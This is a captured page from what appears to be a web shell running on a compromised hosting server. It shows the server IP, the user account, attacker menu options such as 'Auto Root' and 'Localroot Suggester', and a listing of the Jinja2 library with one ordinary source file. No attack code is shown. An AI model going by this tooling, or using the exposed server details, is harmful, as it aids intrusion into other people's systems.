Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
jinja2 /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
__init__.py
1.51
KB
-rw-r--r--
2020-01-30 13:05
_compat.py
3.12
KB
-rw-r--r--
2020-01-29 10:32
_identifier.py
1.73
KB
-rw-r--r--
2020-01-29 10:32
asyncfilters.py
4.09
KB
-rw-r--r--
2020-01-29 10:32
asyncsupport.py
7.04
KB
-rw-r--r--
2020-01-29 10:32
bccache.py
11.85
KB
-rw-r--r--
2020-01-29 10:32
compiler.py
64.68
KB
-rw-r--r--
2020-01-30 12:55
constants.py
1.42
KB
-rw-r--r--
2020-01-29 10:32
debug.py
8.4
KB
-rw-r--r--
2020-01-29 10:32
defaults.py
1.1
KB
-rw-r--r--
2020-01-29 10:32
environment.py
49.42
KB
-rw-r--r--
2020-01-29 10:32
exceptions.py
5.3
KB
-rw-r--r--
2020-01-29 10:32
ext.py
25.82
KB
-rw-r--r--
2020-01-29 10:32
filters.py
40.43
KB
-rw-r--r--
2020-01-29 10:32
idtracking.py
9
KB
-rw-r--r--
2020-01-29 10:32
lexer.py
29.24
KB
-rw-r--r--
2020-01-29 10:32
loaders.py
19.87
KB
-rw-r--r--
2020-01-29 10:32
meta.py
4.03
KB
-rw-r--r--
2020-01-29 10:32
nativetypes.py
3.49
KB
-rw-r--r--
2020-01-29 10:32
nodes.py
30.34
KB
-rw-r--r--
2020-01-29 10:32
optimizer.py
1.42
KB
-rw-r--r--
2020-01-29 10:32
parser.py
34.82
KB
-rw-r--r--
2020-01-29 10:32
runtime.py
29.87
KB
-rw-r--r--
2020-01-29 10:32
sandbox.py
16.73
KB
-rw-r--r--
2020-01-29 10:32
tests.py
4.69
KB
-rw-r--r--
2020-01-29 10:32
utils.py
21.93
KB
-rw-r--r--
2020-01-29 10:32
visitor.py
3.16
KB
-rw-r--r--
2020-01-29 10:32
Save
Rename
import types from ast import literal_eval from itertools import chain from itertools import islice from . import nodes from ._compat import text_type from .compiler import CodeGenerator from .compiler import has_safe_repr from .environment import Environment from .environment import Template def native_concat(nodes, preserve_quotes=True): """Return a native Python type from the list of compiled nodes. If the result is a single node, its value is returned. Otherwise, the nodes are concatenated as strings. If the result can be parsed with :func:`ast.literal_eval`, the parsed value is returned. Otherwise, the string is returned. :param nodes: Iterable of nodes to concatenate. :param preserve_quotes: Whether to re-wrap literal strings with quotes, to preserve quotes around expressions for later parsing. Should be ``False`` in :meth:`NativeEnvironment.render`. """ head = list(islice(nodes, 2)) if not head: return None if len(head) == 1: raw = head[0] else: if isinstance(nodes, types.GeneratorType): nodes = chain(head, nodes) raw = u"".join([text_type(v) for v in nodes]) try: literal = literal_eval(raw) except (ValueError, SyntaxError, MemoryError): return raw # If literal_eval returned a string, re-wrap with the original # quote character to avoid dropping quotes between expression nodes. # Without this, "'{{ a }}', '{{ b }}'" results in "a, b", but should # be ('a', 'b'). if preserve_quotes and isinstance(literal, str): return "{quote}{}{quote}".format(literal, quote=raw[0]) return literal class NativeCodeGenerator(CodeGenerator): """A code generator which renders Python types by not adding ``to_string()`` around output nodes, and using :func:`native_concat` to convert complex strings back to Python types if possible. """ @staticmethod def _default_finalize(value): return value def _output_const_repr(self, group): return repr(native_concat(group)) def _output_child_to_const(self, node, frame, finalize): const = node.as_const(frame.eval_ctx) if not has_safe_repr(const): raise nodes.Impossible() if isinstance(node, nodes.TemplateData): return const return finalize.const(const) def _output_child_pre(self, node, frame, finalize): if finalize.src is not None: self.write(finalize.src) def _output_child_post(self, node, frame, finalize): if finalize.src is not None: self.write(")") class NativeEnvironment(Environment): """An environment that renders templates to native Python types.""" code_generator_class = NativeCodeGenerator class NativeTemplate(Template): environment_class = NativeEnvironment def render(self, *args, **kwargs): """Render the template to produce a native Python type. If the result is a single node, its value is returned. Otherwise, the nodes are concatenated as strings. If the result can be parsed with :func:`ast.literal_eval`, the parsed value is returned. Otherwise, the string is returned. """ vars = dict(*args, **kwargs) try: return native_concat( self.root_render_func(self.new_context(vars)), preserve_quotes=False ) except Exception: return self.environment.handle_exception() NativeEnvironment.template_class = NativeTemplate